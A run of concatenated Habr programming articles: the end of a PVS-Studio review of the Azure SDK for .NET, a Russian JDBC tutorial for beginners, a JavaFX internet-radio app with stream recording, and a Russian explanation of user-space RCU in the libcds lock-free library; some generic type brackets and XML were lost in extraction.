public static Exception GetClientException(
Exception exception,
string referenceId = null,
Exception innerException = null,
bool connectionError = false)
{
....
}
```
Therefore, one can use only the conditional access operator when calling *session.GetInnerException()*:
```
public async Task> CreateAndOpenAmqpLinkAsync()
{
....
AmqpSession session = null;
try
{
// Create Session
....
}
catch (Exception exception)
{
....
session?.Abort();
throw AmqpExceptionHelper.GetClientException(exception, null,
session?.GetInnerException(), amqpConnection.IsClosing());
}
....
}
```
Conclusion
----------
As you can see, a large project size doesn't always guarantee a lot of errors. However, we stay alert since we can always find something. Even in a project as structurally complex as Azure SDK for .NET. Finding some crucial defects requires additional efforts. But the more difficulties the more pleasant the result. On the other hand, to avoid undue efforts, we recommend using static analysis right on developers' computers when writing new code. This is the most effective approach. [Download and try PVS-Studio](https://www.viva64.com/en/pvs-studio-download/) in action. Good luck in fighting bugs! | https://habr.com/ru/post/478978/ | null | en | null |
# Простой пример JDBC для начинающих
Здравствуйте! В этой статье я напишу простой пример соединения с базами данных на Java.Эта статья предназначена новичкам.Здесь я опишу каждую строчку объясню что зачем.
Но для начала немного теории.
JDBC (Java DataBase Connectivity — соединение с базами данных на Java) предназначен для взаимодействия Java-приложения с различными системами управления базами данных (СУБД). Всё движение в JDBC основано на драйверах которые указываются специально описанным URL.
А теперь практика.
Для начала создаём maven проект и в pom.xml помещаем зависимость для соединения с СУБД (В моём случае СУБД будет выступать MySQL):
```
mysql
mysql-connector-java
5.1.38
```
Должно получится так:
Дальше подключаемся к базе данных нужной вам(я пользуюсь IDEA Ultimate по этому я подключаюсь именно так).
Дальше заполняем Database, User и Password.Обязательно проверяем соединение.
Дальше мы создаём сам класс.
А теперь разберём его построчно:
В начале мы создаём три переменные url,username и password. Образец указания url:
Username по умолчанию root.Password вы должны знать сами.
После с помощью строчки Class.forName(«com.mysql.jdbc.Driver») регестрируем драйвера. Дальше устанавливаем соединение с помощью DriverManager.getConnection (ваш url, username, password).
После с помощью connection (соединения) создаём простой запрос Statement методом createStatement().
Дальше создаём экземпляр класса ResultSet и формируем запрос через statement методом executeQuery (запрос).
Дальше мы заставляем пробежаться resultSet по всей базе данных и вывести то что нам нужно. Так с помощью объекта resultSet и его методов (getString,getInt и т.д. в зависимости от типа переменных в колонке) мы выводим.Так как мой запрос был для того что бы вывести всё, мы можем вывести любую колонку.
После закрываем resultSet,statement и connection (именно в такой последовательности). В процессе он будет показывать ошибки так как будет запрашивать обработку исключений в catch.Так что пишите catch заранее.
Теперь когда практика есть на неё можно наложить более глубокую теорию.Тема правда очень большая, желаю удачи в её изучении.
Этот проект на github [тут](https://github.com/Dardem30/JDBC-HabraHabr). | https://habr.com/ru/post/326614/ | null | ru | null |
# Радио с записью станций на языке Java
Привет всем! Как я уже говорил в своем [первом посте](https://habr.com/ru/company/itsoft/blog/547020/), я не программист, а скорее любитель. Пробовал писать свои поделки на разных языках, но начинал я с Java. Больше всего из семейства Java мне понравилась платформа JavaFX. Точнее сказать, связка JavaFX + FXML, где в контроллере расписываем логику, а графический интерфейс описываем в отдельном fxml-файле. Радио как раз написано с помощью этой связки.
Для воспроизведения применяется библиотека JLayer. Встроенный класс MediaPlayer почему-то отказался у меня работать. Запись и воспроизведение сделаны в отдельных потоках. Ради эксперимента пробовал запустить воспроизведение в основном потоке приложения. Получил намертво зависший интерфейс. То же самое получил и при попытке записи в основном потоке.
Полностью код приложения доступен в [репозитории GitHub](https://github.com/kalexal-kaa/RadioEng). Приложение было создано с помощью среды разработки NetBeans 8.2 и конструктора Scene Builder от компании Gluon. В этом посте я не ставил целью полностью рассмотреть код приложения, а лишь остановился на некоторых, самых интересных, на мой взгляд, моментах.
Внешний вид
-----------
Вот так программа выглядит:
 В меню «Station» находятся пункты для создания, удаления и изменения станции. В меню «Record» можно найти пункты для начала и остановки записи, а также для изменения директории записи. В меню «Reference» имеется пункт для выхода из программы и пункт «О Программе», показывающий некоторую информацию о приложении.
Содержимое файла разметки интерфейса. Все очень лаконично и понятно. Какие-то пояснения, я думаю, излишни.
```
xml version="1.0" encoding="UTF-8"?
import javafx.scene.control.Button?
import javafx.scene.control.Label?
import javafx.scene.control.ListView?
import javafx.scene.control.Menu?
import javafx.scene.control.MenuBar?
import javafx.scene.control.MenuItem?
import javafx.scene.layout.AnchorPane?
import javafx.scene.text.Font?
```
Файл стилей (toast это всплывающие сообщения. О них позже):
```
.root{
-fx-background-color: grey;
}
.button{
-fx-background-radius: 40;
-fx-border-radius: 40;
-fx-text-fill: white;
}
.button:hover{
-fx-background-color: derive(-fx-base, 18%);
-fx-border-style: solid;
-fx-border-width: 1;
-fx-border-color: derive(-fx-base, -15%);
-fx-cursor: hand;
}
.button:pressed{
-fx-text-fill: black;
}
.list-view, .list-view .viewport, .list-view .content{
-fx-background-color: gainsboro;
}
.list-view:hover{
-fx-cursor: hand;
}
.toast{
-fx-background-radius: 30;
-fx-border-radius: 30;
-fx-background-color: black;
-fx-padding: 20;
}
#nameStation{
-fx-text-fill: white;
}
#playButton{
-fx-background-color: blue;
}
#stopButton{
-fx-background-color: red;
}
```
Воспроизведение и запись
------------------------
Воспроизведение происходит с помощью этого кода:
```
taskPlayer = new Task() {
@Override
public Void call() {
try {
radioUrl = new URL(urlString);
InputStream in = radioUrl.openStream();
InputStream is = new BufferedInputStream(in);
player = new Player(is);
player.play();
} catch (FileNotFoundException e) {
e.getMessage();
} catch (IOException | JavaLayerException e) {
e.getMessage();
}
return null;
}
};
new Thread(taskPlayer).start();
```
В отличие от воспроизведения, при записи никаких сторонних библиотек не используется. Как уже говорилось, для воспроизведения применяется библиотека JLayer. Запись происходит так:
```
taskRecord=new Task() {
@Override
public Void call() throws FileNotFoundException, IOException{
output = new FileOutputStream(reader(file.getAbsolutePath())+
separator+nameStation.getText()+"-"+new Date().toString().replace(":","-")+".mp3");
InputStream in = radioUrl.openStream();
InputStream is = new BufferedInputStream(in);
byte data[] = new byte[1024];
int count;
while ((count = is.read(data)) != -1) {
output.write(data, 0, count);
}
output.flush();
return null;
}
};
new Thread(taskRecord).start();
```
Станции
-------
Станции хранятся в виде текстовых файлов, где имя файла представляет собой название станции, а содержимое это ее URL. Вот метод, который создает станции при первом запуске:
```
private void createDefaultStations(){
String[] stationNames = {"NonStopPlay","Classical Music","Fip Radio","Jazz Legends","Joy Radio","Live-icy","Music Radio","Radio Electron","Dubstep","Trancemission"};
String[] stationUrls = {"http://stream.nonstopplay.co.uk/nsp-128k-mp3","http://stream.srg-ssr.ch/m/rsc_de/mp3_128","http://direct.fipradio.fr/live/fip-midfi.mp3","http://jazz128legends.streamr.ru/","http://airtime.joyradio.cc:8000/airtime_192.mp3","http://live-icy.gss.dr.dk:8000/A/A05H.mp3","http://ice-the.musicradio.com/CapitalXTRANationalMP3","http://radio-electron.ru:8000/128","http://air.radiorecord.ru:8102/dub_320","http://air.radiorecord.ru:8102/tm_320"};
for(int i=0;i<10;i++){
writer(path+separator+stationNames[i], stationUrls[i]);
}
}
```
Вызов этого метода происходит из другого метода dirCreator, который создает директорию RadioStations, где хранятся файлы станций. Вот этот метод:
```
private void dirCreator(final String fPath) {
final File file = new File(fPath);
if (!file.exists()) {
file.mkdir();
if(file.exists()){
alertWindow("The directory has been created.\nYour radio stations will be here:\n"+fPath);
createDefaultStations();
}else{
alertWindow("Error!\nThe directory will not be created.\n" +
"Try creating the specified directory manually in the following path:\n"+fPath+"\nThe program will be closed.");
System.exit(0);
}
}
}
```
Разрешения на чтение и запись
-----------------------------
Следующие методы проверяют разрешения на чтение и запись. Если разрешение отсутствует, то пытаются установить его:
```
private boolean permissionRead(File file){
if(!file.canRead()){
file.setReadable(true);
return !file.canRead();
}
return false;
}
private boolean permissionWrite(File file){
if(!file.canWrite()){
file.setWritable(true);
return !file.canWrite();
}
return false;
}
```
Применяются эти методы в инициализаторе при проверке разрешений для папки RadioStations:
```
@Override
public void initialize(URL url, ResourceBundle rb) {
parentPath = System.getProperty("user.home");
path=parentPath+separator+"RadioStations";
this.dirCreator(this.path);
File f=new File(path);
if(permissionRead(f)||permissionWrite(f)){
if(permissionRead(f)&&permissionWrite(f)){
alertWindow("Failed to get permission to read and write files to the directory.\nTry to give permission manually.");
}else if(permissionRead(f)){
alertWindow("Failed to get permission to read files in directory .\nTry to give permission manually.");
}else{
alertWindow("Failed to get permission to write files to directory.\nTry to give permission manually.");
}
System.exit(0);
}
showStationsList();
stopButton.setDisable(true);
recordItem.setDisable(true);
stopRecordItem.setDisable(true);
}
```
Диалоги
-------
Для построения диалогов я не использовал визуальный конструктор, а писал все вручную. Например, вот диалог, который появляется перед записью. Программа спрашивает куда сохранять запись:
```
final Alert alert = new Alert(Alert.AlertType.CONFIRMATION);
alert.setResizable(true);
alert.getDialogPane().setPrefSize(500,200);
alert.setTitle("Saving Recordings");
alert.setHeaderText("");
alert.setContentText("The default path for your recordings is:\n"+f.getAbsolutePath()+"\nChange?");
ButtonType buttonTypeEdit = new ButtonType("Edit", ButtonBar.ButtonData.OK_DONE);
ButtonType buttonTypeDefault = new ButtonType("Default", ButtonBar.ButtonData.FINISH);
ButtonType buttonTypeCancel = new ButtonType("Cancel", ButtonBar.ButtonData.CANCEL_CLOSE);
alert.getButtonTypes().setAll(buttonTypeEdit, buttonTypeDefault, buttonTypeCancel);
final Optional resultAlert = alert.showAndWait();
```
Вот окно диалога:
 Конечно, программа каждый раз не будет доставать пользователя такими вопросами. Перед первой записью она покажет это окно и если пользователь выберет «Edit», то откроется окно выбора папки, а если выберет «Default», то диалог просто закроется и запись будет вестись в папку по умолчанию. «Cancel» отменяет запись.
Вот еще пример диалога. Это диалог добавления станции:
```
Dialog dialog = new Dialog<>();
dialog.setTitle("Station Creation");
dialog.setHeaderText("Enter the name and url of the radio station");
ButtonType createButtonType = new ButtonType("Create", ButtonBar.ButtonData.OK_DONE);
ButtonType cancelButtonType = new ButtonType("Cancel", ButtonBar.ButtonData.CANCEL_CLOSE);
dialog.getDialogPane().getButtonTypes().addAll(createButtonType,cancelButtonType);
GridPane grid = new GridPane();
grid.setHgap(10);
grid.setVgap(10);
grid.setPadding(new Insets(20, 150, 10, 10));
TextField stationName = new TextField();
TextField url = new TextField();
grid.add(new Label("Title:"), 0, 0);
grid.add(stationName, 1, 0);
grid.add(new Label("Url:"), 0, 1);
grid.add(url, 1, 1);
dialog.getDialogPane().setContent(grid);
Optional result = dialog.showAndWait();
```
Здесь все просто. Получаем окно с двумя текстовыми полями. Вот такое:
 Окно диалога для изменения станций такое же, только поля заполнены данными изменяемой станции.
Заставка
--------
Перед запуском приложения сначала появляется заставка. Для этого в проект был добавлен специальный класс. В настройках запуска проекта его нужно указать как стартовый.
```
package radioplayer;
import javafx.application.Application;
import java.awt.*;
import javafx.stage.Stage;
/**
*
* @author alex
*/
public class Splash extends Application{
public static void main(final String[] args) {
SplashScreen splash = SplashScreen.getSplashScreen();
try {
Thread.sleep(3000L);
}
catch (InterruptedException ex) {
ex.getMessage();
}
if (splash != null) {
splash.close();
Application.launch(RadioPlayer.class, args);
}
}
@Override
public void start(Stage primaryStage) throws Exception {
throw new UnsupportedOperationException("Not supported yet."); //To change body of generated methods, choose Tools | Templates.
}
}
```
Сама заставка:
 Там же в настройках нужно указать следующие параметры для виртуальной машины:
-splash:src/images/splash.png
В манифест приложения следует добавить:
```
SplashScreen-Image: images/splash.png
```
Всплывающие сообщения, как в Android
------------------------------------
В приложении имеются всплывающие сообщения, которые выглядят как подобные сообщения в Android OS. Вот пример сообщения:
 За их появления отвечает отдельный класс:
```
package radioplayer;
import javafx.animation.KeyFrame;
import javafx.animation.KeyValue;
import javafx.animation.Timeline;
import javafx.scene.Scene;
import javafx.scene.layout.StackPane;
import javafx.scene.paint.Color;
import javafx.scene.text.Font;
import javafx.scene.text.Text;
import javafx.stage.Stage;
import javafx.stage.StageStyle;
import javafx.util.Duration;
/**
*
* @author alex
*/
public class Toast {
void setMessage(final String toastMsg){
Stage toastStage=new Stage();
toastStage.setResizable(false);
toastStage.initStyle(StageStyle.TRANSPARENT);
Text t = new Text(toastMsg);
t.setFont(Font.font("Verdana",20));
t.setFill(Color.WHITE);
StackPane root = new StackPane(t);
root.getStyleClass().add("toast");
root.setOpacity(0);
Scene scene = new Scene(root);
scene.getStylesheets().add((getClass().getResource("style.css")).toExternalForm());
scene.setFill(null);
toastStage.setScene(scene);
toastStage.show();
Timeline tl1 = new Timeline();
KeyFrame fadeInKey1 = new KeyFrame(Duration.millis(500),new KeyValue (toastStage.getScene().getRoot().opacityProperty(), 1));
tl1.getKeyFrames().add(fadeInKey1);
tl1.setOnFinished((ae) ->
new Thread(() -> {
try {
Thread.sleep(3000);
} catch (InterruptedException e) {
e.getMessage();
}
Timeline tl2 = new Timeline();
KeyFrame fadeOutKey1 = new KeyFrame(Duration.millis(500), new KeyValue(toastStage.getScene().getRoot().opacityProperty(), 0));
tl2.getKeyFrames().add(fadeOutKey1);
tl2.setOnFinished((aeb) -> toastStage.close());
tl2.play();
}).start());
tl1.play();
}
}
```
Сборка
------
Если создавать исполняемый архив, просто нажав в NetBeans кнопку очистки и сборки проекта, мы получим архив, который не будет содержать в себе классы библиотеки JLayer. В манифесте этого архива будет прописан путь до библиотеки. Программа будет работать, только если библиотека будет расположена по этому пути.
Чтобы классы библиотеки JLayer запаковать в исполняемый архив, нужно в файле build.xml дописать следующее:
```
```
Для сборки в меню нужно выбрать «выполнить цель», а в подменю найти «package-for-store». В папке «store» появится готовый архив.
Дополнительная [ссылка на SourceForge](https://sourceforge.net/projects/radiowithrecorderenglish/). До встречи в следующих постах! | https://habr.com/ru/post/547908/ | null | ru | null |
# Lock-free структуры данных. Внутри. RCU
В этой статье я продолжу знакомить хабрасообщество с техниками, обеспечивающими написание lock-free контейнеров, попутно рекламируя (надеюсь, не слишком навязчиво) свою библиотеку [libcds](http://libcds.sourceforge.net).
Речь пойдет об ещё одной технике безопасного освобождения памяти для lock-free контейнеров — RCU. Эта техника существенно отличается от рассмотренных ранее алгоритмов a la Hazard Pointer.
Read – Copy Update (RCU) – техника синхронизации, предназначенная для «почти read-only», то есть редко изменяемых, структур данных. Типичными примерами такой структуры являются map и set – в них большинство операций является поиском, то есть чтением данных. Считается, что для типичного map'а более 90% вызываемых операций — это поиск по ключу, поэтому важно, чтобы операция поиска была наиболее быстрой; синхронизация поиска в принципе не нужна — читатели при отсутствии писателей могут работать параллельно. RCU обеспечивает наименьшие накладные расходы как раз для read-операций.
Откуда взялось название Read – Copy Update? Первоначально идея была очень проста: есть некоторая редко изменяемая структура данных. Если нам требуется *изменить* её, то мы делаем её *копию* и производим изменение — добавление или удаление данных — именно в копии. При этом параллельные читатели работают с первоначальной, не измененной структурой. В некоторый безопасный момент времени, когда нет читателей, мы можем подменить структуру данных на измененную копию. В результате все последующие читатели будут видеть изменения, произведенные писателем.
Создателем и активным популяризатором техники RCU является Paul McKenney. Он возглавляет целую школу «любителей RCU», из которой вышло немало известных ученых в области lock-free и нетрадиционных схем синхронизации, а также он является «главным по RCU» в ядре Linux (Linux-kernel RCU maintainer) и автором [ряда работ](http://www2.rdrop.com/users/paulmck/RCU/) по RCU.
RCU была внедрена в ядро Linux в 2002 году и с тех пор все более и более врастает в код ядра, см. рисунок справа. Долгое время она позиционировалась как техника синхронизации именно для ядра операционной системы. Так как ядро имеет полный контроль над всеми потоками, — как пользовательскими, так и системными, — то в ядре довольно просто определить тот безопасный момент времени подмены данных на измененную копию. Но нас интересует прикладное применение RCU, возможно ли оно? Прежде чем ответить на этот вопрос, рассмотрим подробнее теорию RCU и применяемую в ней терминологию.
Общее описание RCU
==================
Приведенное выше описание идеи RCU очень упрощенно. Как мы знаем, имея атомарные операции, мы можем не делать копию данных, а изменять структуру данных «на лету» параллельно с её чтением. Тогда «читателем» становится поток, выполняющий любую операцию, кроме удаления элемента из структуры данных. Писателем будем называть поток, удаляющий что-либо из структуры. Удаление должно производиться в момент времени, когда никто не «наступил» на удаляемые данные, иначе мы получим букет трудно обнаружимых проблем — от ABA-проблемы до memory corruption. RCU решает все эти проблемы, причем методом, отличным от рассмотренной ранее схемы Hazard Pointers.
Читатели в технике RCU выполняются в *критической секции чтения* (read-side critical section). При входе в такую критическую секцию читатель вызывает функцию `rcu_read_lock()`, при выходе — `rcu_read_unlock()`. Это очень легкие функции, практически не влияющие на производительность; в ядре Linux они не весят вообще ничего (zero-overhead).
Если поток находится не в критической секции чтения, то говорят, что поток в *спокойном состоянии* (quiescent state, quiescent-состояние). Любой период времени, в котором каждый поток хотя бы единожды находился в quiescent-состоянии, называют *grace period*. Каждая критическая секция чтения, которая началась перед grace period, должна закончиться прежде, чем закончится grace period. Каждый grace period гарантированно конечен, так как любая критическая секция чтения конечна (подразумевается, что число потоков конечно, а также что мы хорошие программисты и избегаем бесконечных циклов, равно как и краха потока).
Поток-писатель, удаляющий элемент из структуры данных, исключает элемент из структуры, а затем ждет окончания grace-периода. Окончание grace-периода означает, что ни один читатель не имеет доступа к удаляемому элементу (см. рисунок, на нем прямоугольники «reads» — это критически секции чтения). Поэтому поток-писатель может безопасно физически удалить элемент.
Удаление производится в два этапа: первый этап — «removal» — атомарно удаляет элемент из структуры данных, но не производит физического освобождения памяти. Вместо этого писатель объявляет начало grace-периода вызовом специального примитива `synchronize_rcu()` и ожидает его окончания. Удаленный элемент может быть доступен только тем читателям, которые объявили свою критическую секцию чтения параллельно с писателем (на рисунке такие секции выделены серым). По определению, все такие читатели закончат свою работу перед окончанием grace-периода. По окончании grace-периода, то есть когда все критические секции чтения, инициированные или активные во время grace-периода, завершатся, наступает второй этап удаления — «reclamation» — то есть физическое удаление памяти под элемент.
Как видим, техника синхронизации RCU довольно проста. Остается вопрос — как определить окончание grace-периода в пользовательском коде? Оригинальный RCU сильно заточен на ядро Linux, где это определить значительно проще, так как мы имеем полный контроль над всеми потоками. Для user space-кода подходы оригинального RCU неприменимы.
User-space RCU
==============
Решение дал в 2009 году M.Desnoyers, представитель школы P. McKenney, в [своей диссертации](http://publications.polymtl.ca/206/1/2009_MathieuDesnoyers.pdf), глава 6 которой так и называется: User-Level Implementations of RCU.
M.Desnoyers предлагает 3 решения для user-space RCU (URCU):
* Quiescent-State-Based Reclamation RCU – очень легкая для читателей схема, но требующая, чтобы потоки, находящиеся *вне* критической секции чтения, *периодически* объявляли «я нахожусь в quiescent-состоянии». Такое решение не подходит для библиотеки общего назначения, которой является [libcds](http://libcds.sourceforge.net), поэтому я его рассматривать не буду.
* User-space RCU общего назначения (General-Purpose URCU) – подходящий для общей реализации алгоритм, который я опишу далее.
* User-space RCU на сигналах (RCU via Signal Handling) – тоже интересный алгоритм, основанный на сигналах (подходит для \*nix-систем, неприменим для Windows). Реализован в библиотеке libcds, показывает производительность чуть хуже, чем general-purpose RCU. Я не буду его рассматривать в этой статье, интересующихся отсылаю к диссертации M.Desnoyers'а и к исходным кодам libcds.
General-Purpose URCU
--------------------
M.Desnoyers настолько подробно и тщательно разбирает алгоритм URCU, что мне остается только следовать за ним, изменив только название некоторых переменных и функций, чтобы они соответствовали принятым в libcds.
В схеме URCU определены две переменные:
```
std::atomic g\_nGlobalCtl(1) ;
struct thread\_record {
std::atomic nThreadCtl;
thread\_record \* pNext;
thread\_record(): nThreadCtl(0), pNext(nullptr) {}
};
```
Структура `thread_record` содержит локальные для потока данные и связывает все такие объекты в список RCU-потоков.
Младшие 31 бита `nThreadCtl` содержит счетчик глубины вложенности вызовов URCU (да, URCU допускает практически неограниченную вложенность критических секций чтения), старший бит определяет идентификатор grace-периода на момент входа потока в критическую секцию чтения. В описываемой схеме достаточно только двух идентификаторов для grace-периода.
Старший бит глобальной переменной `g_nGlobalCtl` содержит идентификатор текущего grace-периода, младшие биты служат для инициализации per-thread переменных `nThreadCtl` и не изменяются.
Для входа/выхода в/из критической секции чтения служат функции `access_lock` и `access_unlock` соответственно:
```
static uint32_t const c_nControlBit = 0x80000000;
static uint32_t const c_nNestMask = c_nControlBit — 1;
void access_lock()
{
thread_record * pRec = get_thread_record();
assert( pRec != nullptr );
uint32_t tmp = pRec->nThreadCtl.load( std::memory_order_relaxed );
if ( (tmp & c_nNestMask) == 0 ) {
pRec->nThreadCtl.store(g_nGlobalCtl.load( std::memory_order_relaxed ),
std::memory_order_relaxed );
std::thread_fence( std::memory_order_acquire );
}
else
pRec->nThreadCtl.fetch_add( 1, std::memory_order_relaxed );
}
void access_unlock()
{
thread_record * pRec = get_thread_record();
assert( pRec != nullptr );
pRec->nThreadCtl.fetch_sub( 1, std::memory_order_release );
}
```
При входе в критическую секцию URCU проверяется, вложенный это вызов или нет. Если вызов вложенный (то есть счетчик в младших 31 бите не ноль), счетчик вложенности просто инкрементируется. Если же вызов не вложенный, переменной `nThreadCtl` текущего потока присваивается значение глобальной переменной `g_nGlobalCtl`; тем самым помечается, что вход в критическую секцию был произведен в определенный grace-период (старший бит `g_nGlobalCtl`), а единица в младших битах `g_nGlobalCtl` инициализирует счетчик вложенности текущего потока. При первом, самом внешнем входе в критическую секцию применяется acquire-барьер памяти. Он гарантирует, что последующий код не будет перенесен («оптимизирован») вверх за барьер ни процессором, ни компилятором. Тем самым обеспечивается видимость текущего grace-периода потока всем процессорам, — если нарушить этот порядок, алгоритм URCU рассыплется. При входе во *вложенную* критическую секцию барьера не требуется, так как текущий grace-период (старший бит) не изменяется.
При выходе из критической секции (`access_unlock`) просто декрементируется счетчик вложенности в `nThreadCtl` текущего потока. Применяется release-семантика атомарной операции; на самом деле, release-барьер необходим здесь только при выходе из самой верхней критической секции (при переходе от 1 к 0 счетчика вложенности), при выходе из вложенной критической секции достаточно relaxed-семантики. Release-барьер при обнулении счетчика требуется потому, что при переходе счетчика вложенности от 1 к 0 фактически происходит объявление «поток более не использует RCU», то есть выход из grace-периода, что является критическим для алгоритма URCU, — нарушение порядка компилятором или процессором приведет к неработоспособности алгоритма. Распознание ситуаций «0 — не 0» в коде потребует условного перехода, что вряд ли добавит производительности функции `access_unlock`, да и основной паттерн использования критических секций URCU – без вложенности, поэтому release-семантика применяется здесь всегда.
Как видно, код со стороны читателей довольно легковесный. Используются атомарные чтение-запись и thread-local данные. Конечно, это не zero-overhead, но все же намного лучше, чем мьютекс или CAS.
Поток-писатель перед тем, как физически удалить элемент, должен убедиться, что grace-период завершен. Условия окончания grace-периода — одно из двух:
* Младшие биты (счетчик вложенности) `nThreadCtl` каждого потока равны нулю, что означает, что поток не находится в критической секции URCU
* Старший бит `nThreadCtl` не совпадает с со старшим битом `g_nGlobalCtl`, что означает, что читатель вошел в критическую секцию после начала grace-периода
Эти условия проверяются следующей функцией:
```
bool check_grace_period( thread_record * pRec )
{
uint32_t const v = pRec->nThreadCtl.load( std::memory_order_relaxed );
return (v & general_purpose_rcu::c_nNestMask)
&& ((( v ^ g_nGlobalCtl.load( std::memory_order_relaxed )) & ~c_nNestedMask )); }
```
Писатель перед физическим удалением вызывает функцию `synchronize`, которая ожидает окончания текущего grace-периода:
```
std::mutex g_Mutex ;
void synchronize()
{
std::atomic_thread_fence( std::memory_order_acquire );
{
cds::lock::scoped_lock sl( g\_Mutex );
flip\_and\_wait();
flip\_and\_wait();
}
std::atomic\_thread\_fence( std::memory\_order\_release );
}
```
Здесь `g_Mutex` — глобальный для алгоритма URCU мьютекс (да-да! URCU все же техника *синхронизации*, так что без мьютекса никуда). Таким образом, только один поток-писатель может войти в `synchronize`. Не забываем, что RCU позиционируется для «почти read-only» данных, так что особой толкотни на этом мьютексе не ожидается.
Писатель ожидает окончания grace-периода, вызывая функцию `flip_and_wait`:
```
void flip_and_wait()
{
g_nGlobalCtl.fetch_xor( c_nControlBit, std::memory_order_seq_cst );
for (thread_record* pRec = g_ThreadList.head(std::memory_order_acquire);
pRec!= nullptr;
pRec = pRec->m_pNext )
{
while ( check_grace_period( pRec ))
{
sleep( 10 ); // ждем 10 миллисекунд
CDS_COMPILER_RW_BARRIER ;
}
}
}
```
Эта функция меняет идентификатор grace-периода, что означает начало нового grace-периода, с помощью атомарного `fetch_xor` и ждет (вызовом `check_grace_period`), пока все потоки-читатели не закончат этот новый grace-период. В псевдокоде ожидание происходит простым sleep на 10 миллисекунд, в реальном коде libcds используется template-параметр, задающий back-off-стратегию.
Почему писатель вызывает `flip_and_wait` дважды? Для пояснения рассмотрим такую последовательность действий с двумя потоками A и B. Предположим, что вызов `flip_and_wait` в `synchronize` только один:
* Поток A вызывает `access_lock`. В теле этой функции определяется, что вызов не вложенный, читается глобальный `g_nGlobalCtl`, но пока не присваивается переменной `nThreadCtl` потока (все выполняется параллельно, так что такая ситуация вполне допустима)
* Поток B вызывает `synchronize`. Вызывается первый `flip_and_wait`, который изменяет бит-идентификатор grace-периода в `g_nGlobalCtl`. Текущим идентификатором grace-периода становится 1
* Так как в критической секции URCU никого нет (вспомним, что поток A ещё не успел присвоить значение своей переменной `nThreadCtl`), поток B завершает `synchronize`
* Поток A выполняет присваивание своей переменной `nThreadCtl`. Вспомним, что поток прочитал старое значение grace-периода, равное 0
* Поток A завершает `access_lock` и продолжает выполнение в критической секции
* Поток B вызывает `synchronize` ещё раз (видимо, опять хочет что-то удалить). Опять происходит обращение текущего grace-периода в `g_nGlobalCtl`, так что его идентификатор теперь 0.
Но поток A в критической секции, которая началась *ранее*, чем B изменил grace-период! Нарушение семантики URCU, которое приведет со временем ко всему букету — от ABA до memory corruption. Вспомним: `synchronize` вызывается писателем перед тем, как физически удалить память под элемент
Вызывая `flip_and_wait` дважды, то есть дважды ожидая окончания grace-периода, мы решаем вышеописанную проблему, причина которой — конкурентное выполнение потоков.
**Другое решение**Можно, конечно, решить эту проблему и по-другому, если использовать вместо бита-идентификатора grace-периода некий счетчик. Но тут возникает проблема, которую мы уже видели в статье про алгоритм tagged pointer, — счетчик подвержен переполнению! Для надежности счетчик должен быть 32-битным, тогда переполнение нам не страшно. Но такой счетчик приводит к необходимости иметь 64-битный атомарный тип на 32-битовых платформах. Такого типа либо нет, либо он довольно неэффективен. Либо нам придется отказаться от вложенности критических секций URCU, что тоже не очень удобно.
Поэтому остановимся на общем решении с битом в качестве идентификатора grace-периода и вызовом двух `flip_and_wait`
Реализация URCU в libcds
------------------------
Вышеописанный алгоритм URCU хорош всем, кроме того, что *перед каждым* удалением требуется вызывать довольно тяжелый `synchronize`. Можно ли как-то это улучшить?
Да, можно, причем таким же методом, как и в алгоритме Hazard Pointer, — применить отложенное удаление. Будем вместо удаления помещать элементы в некоторый буфер. Функцию `synchronize` будем вызывать только когда буфер заполнится. В отличие от Hazard Pointer, в URCU буфер будет общим для всех потоков (вообще, можно сделать и per-thread буферы, ничто этому не мешает).
Более того, чтобы не тормозить писателя, на долю которого выпала доля чистить буфер при его переполнении, функционал очистки буфера, то есть действительного удаления, можно поручить отдельному потоку.
Библиотека libcds имеет *пять* реализаций URCU, все они живут в пространстве имен `cds::urcu`:
* `general_instant` — реализация, точно следующая описанному алгоритму URCU: каждое удаление вызывает `synchronize`, никакой буферизации. Если удаление у нас довольно частая операция, то есть структура не слишком-то «почти read-only», данная реализация довольно тормозная
* `general_buffered` — реализация с общим lock-free буфером предопределенного размера. В качестве lock-free буфера используется очередь [Дмитрия Вьюкова](http://www.1024cores.net) — `cds::container::VyukovMPMCCycleQueue`. Производительность такой реализации сравнима с Hazard Pointer
* `general_threaded` — подобна `general_buffered`, но очистку буферов производит выделенный поток. Такая реализация немного уступает `general_buffered` за счет дополнительной синхронизации с выделенным потоком, зато не тормозит писателей
* `signal_buffered` — аналог `general_buffered`, но основан на signal-handled URCU. Не для Windows-систем
* `signal_threaded` — аналог `general_threaded` для signal-handled URCU. Также не для Windows
Такое обилие реализаций URCU порождает проблему написания специализаций контейнеров под URCU. Дело в том, что реализация контейнеров под схему URCU значительно отличается от реализации для Hazard Pointer. Поэтому требуется отдельная специализация для URCU. Хотелось бы иметь одну специализацию, а не пять.
Для облегчения написания специализации под URCU был введен класс-обертка `cds::urcu::gc`:
```
template class gc;
```
где `RCUimpl` — одна из реализаций URCU: `general_instant`, `general_buffered` и т. д. Имея такую обертку, специализацию для URCU написать легко и она будет единственной:
```
template <
class RCU,
typename Key,
typename Value,
class Traits
>
class SplitListMap< cds::urcu::gc< RCU >, Key, Value, Traits > ...
```
Cледует отметить, что в libcds основной функцией алгоритма URCU при удалении является не `synchronize`, а `retire_ptr`. Эта функция помещает удаляемый элемент в буфер URCU и в нужный момент (например, когда буфер заполнен) вызывает `synchronize`. Так что явный вызов `synchronize` не требуется, хотя и допустим. К тому же такое решение унифицирует интерфейс URCU и Hazard Pointer.
Все перечисленные алгоритмы URCU реализованы в типичной для libcds манере: для каждой существует глобальный объект-синглтон, инициализация которого происходит вызовом конструктора объекта-обертки `cds::urcu::gc >` в начале `main()`, после вызова `cds::Initialize()`:
```
#include //cds::Initialize и cds::Terminate
#include // general\_buffered URCU
int main(int argc, char\*\* argv)
{
// Инициализируем libcds
cds::Initialize() ;
{
// Инициализируем general\_buffered URCU синглтон
cds::urcu::gc > gbRCU ;
// Если main thread использует lock-free контейнеры
// main thread должен быть подключен
// к инфраструктуре libcds
cds::threading::Manager::attachThread() ;
// Всё, libcds готова к использованию
// Далее располагается ваш код
...
}
// Завершаем libcds
cds::Terminate() ;
}
```
Так же, как и для схемы Hazard Pointer, каждый поток, использующий URCU-контейнеры, должен быть инициализирован особым образом:
```
// cds::threading::Manager
#include
int myThreadEntryPoint(void \*)
{
// Подключение потока к инфраструктуре libcds
cds::threading::Manager::attachThread() ;
// Теперь в данном потоке мы можем использовать
// lock-free контейнеры libcds
...
// Отключение потока от libcds
cds::threading::Manager::detachThread() ;
return 0;
}
```
